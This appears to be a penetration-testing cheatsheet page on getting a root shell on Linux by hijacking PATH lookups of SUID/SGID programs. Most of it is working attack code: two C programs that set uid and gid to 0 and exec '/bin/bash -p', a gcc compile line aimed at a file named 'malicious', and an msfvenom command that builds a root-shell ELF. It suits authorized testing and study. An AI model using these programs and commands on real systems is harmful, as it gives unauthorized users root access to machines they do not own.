Load a shell with a simple executable
Note
Adapted from slyth11907 / Cheatsheets / Cheatsheet_QuickCShell.
It's actually trivial to write a C program that loads up a shell.
#include <stdio.h>
#include <unistd.h>
main() {
setuid(0);
setgid(0);
execl("/bin/bash",
"/bin/bash",
"-p",
(char*) NULL);
}
Alternate approach:
#include <stdio.h>
#include <time.h>
main() {
setresuid(0, 0, 0);
setregid(0, 0, 0);
system("/bin/bash -p");
return 0;
}
Compile with:
gcc -fPIC -o /path/to/malicious /path/to/malicious.c
Note that this is almost identical to the LD\_PRELOAD trick; the primary differences are:
- Use
main()instead of_init()as our entry point. - Compile without
-sharedand-nostartfiles.
A simple binary like this is useful for exploiting SUID/SGID applications that call other executables from part of the PATH that we control.
Using Metasploit
Metasploit's msfvenom tool can generate binaries that launch any command as root (useful for exploiting SUID/SGID applications that call other executables from part of the PATH that we control).
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf \
-o shell.elf
Load a shell with a simple executable
Interactive graph
On this page
Load a shell with a simple executable
Using Metasploit